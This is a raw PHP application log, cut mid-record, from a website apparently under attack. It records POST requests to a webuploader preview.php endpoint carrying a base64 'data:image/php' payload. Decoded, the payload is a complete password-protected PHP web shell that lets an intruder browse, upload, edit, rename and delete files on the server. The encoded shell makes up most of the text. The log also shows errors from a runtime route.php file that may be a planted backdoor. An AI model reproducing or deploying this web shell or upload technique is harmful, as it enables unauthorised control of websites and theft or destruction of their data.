J1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'hui' => 'lib', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:30:38+08:00 ] 116.213.36.234 POST www.51tianwei.com/public/static/admin/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002607s] [吞吐率:383.57req/s] [内存消耗:196.92kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1b